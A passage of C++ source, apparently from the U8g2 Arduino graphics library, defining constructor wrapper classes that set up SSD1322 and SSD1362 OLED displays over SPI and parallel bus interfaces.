u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_NHD_256X64_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_NHD_256X64_1_6800 : public U8G2 { public: U8G2_SSD1322_NHD_256X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_1_8080 : public U8G2 { public: U8G2_SSD1322_NHD_256X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_NHD_256X64_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_NHD_256X64_2_6800 : public U8G2 { public: U8G2_SSD1322_NHD_256X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_2_8080 : public U8G2 { public: U8G2_SSD1322_NHD_256X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_NHD_256X64_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_256X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_NHD_256X64_F_6800 : public U8G2 { public: U8G2_SSD1322_NHD_256X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_256X64_F_8080 : public U8G2 { public: U8G2_SSD1322_NHD_256X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_256x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_NHD_128X64_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_NHD_128X64_1_6800 : public U8G2 { public: U8G2_SSD1322_NHD_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_1_8080 : public U8G2 { public: U8G2_SSD1322_NHD_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_NHD_128X64_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_NHD_128X64_2_6800 : public U8G2 { public: U8G2_SSD1322_NHD_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_2_8080 : public U8G2 { public: U8G2_SSD1322_NHD_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1322_NHD_128X64_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1322_NHD_128X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1322_NHD_128X64_F_6800 : public U8G2 { public: U8G2_SSD1322_NHD_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1322_NHD_128X64_F_8080 : public U8G2 { public: U8G2_SSD1322_NHD_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1322_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_256X64_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1362_256X64_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_256X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_256X64_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1362_256X64_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1362_256X64_1_6800 : public U8G2 { public: U8G2_SSD1362_256X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_256X64_1_8080 : public U8G2 { public: U8G2_SSD1362_256X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_256X64_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1362_256X64_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_256X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1362_256X64_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1362_256X64_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1362_256X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1362_256X64_2_6800 : public U8G2 { public: U8G2_SSD1362_256X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1362_256X64_2_8080 : public U8G2 { public: U8G2_SSD1362_256X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, 